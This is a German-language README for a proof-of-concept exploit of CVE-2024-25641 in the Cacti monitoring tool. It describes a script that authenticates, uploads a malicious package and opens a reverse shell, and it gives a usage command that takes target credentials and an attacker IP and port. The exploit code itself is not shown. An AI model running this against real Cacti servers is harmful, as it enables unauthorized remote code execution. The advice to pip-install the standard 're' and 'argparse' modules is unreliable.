Cacti CVE-2024-25641 Authentifizierter Paket-Upload RCE Proof of Concept (PoC)

Dieses Skript ist ein Proof of Concept (PoC) zur Ausnutzung der Sicherheitslücke CVE-2024-25641 in Cacti, einem webbasierten Monitoring-Tool. Das Skript automatisiert die Authentifizierung bei der Anwendung, das Hochladen eines schädlichen Pakets und das Auslösen einer Reverse Shell.

Anforderungen

• Python 3.x
• requests Bibliothek
• argparse Bibliothek
• re Bibliothek

Sie können die erforderliche Python-Bibliothek mit pip3 installieren:

pip3 install requests
pip3 install argparse
pip3 install re

Verwendung

(stellen Sie sicher, dass sich test.xml.gz im selben Verzeichnis wie exploit.py befindet)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]